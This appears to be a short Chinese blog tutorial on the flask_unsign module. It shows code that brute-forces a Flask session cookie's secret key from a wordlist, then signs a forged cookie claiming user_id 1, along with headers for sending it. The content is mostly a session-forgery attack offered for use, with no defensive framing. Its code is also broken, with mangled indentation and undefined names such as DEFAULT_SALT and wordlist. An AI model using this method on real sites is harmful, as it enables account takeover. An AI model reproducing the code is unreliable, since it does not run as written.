python 中的 flask_unsign 模块如何使用？

原创已于 2023-11-09 09:07:57 修改 · 1.8k 阅读

6 ·

CC 4.0 BY-SA版权

文章标签：

#python #后端 #web安全

于 2023-02-13 15:54:14 首次发布

文章介绍了flask_unsign模块的功能，它用于字典爆破加密的web交互cookie。通过示例展示了如何使用模块生成Cracker对象进行爆破，找出加密cookie的私钥，并利用私钥创建新的cookie。此外，还提供了包含新cookie的HTTP头信息示例。

部署运行你感兴趣的模型镜像

作者：破符

模块的作用

有些web交互中的cookie是加密的，flask_unsign 模块的作用是字典爆破加密cookie的密钥。

模块下载

python -m pip install flask_unsign

python -m pip install flask_unsign_wordlist

模块使用

爆破cookie生成私钥

from flask_unsign import Cracker
from flask_unsign import logger,DEFAULT_WORDLIST

crack = Cracker(value=cookie,salt=DEFAULT_SALT,threads=8)
with wordlist (DEFAULT_WORDLIST) as iterator:
                    crack.crack(iterator)
        if crack.secret:
            logger.success(f'Found secret key after {crack.attempts} attempts')
            session1 = ascii(crack.secret)		#如果session1有结果，则该值为爆破出来的私钥

利用爆破出来的私钥生成新的cookie

from flask_unsign import session

sec_session = session.sign(value="{'_fresh': True, '_id': '<id>', 'csrf_token': '<csrf>', 'user_id': '1'}",secret= session1,)		#secret若无特殊要求，值应为爆破cookie生成的session1

#sec_session值为cookie可添加入header头部

顺便提供一下交互用的头部，注意sec_session为新生成的cookie

{
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36',
            "Cookie" : "session="+sec_session
}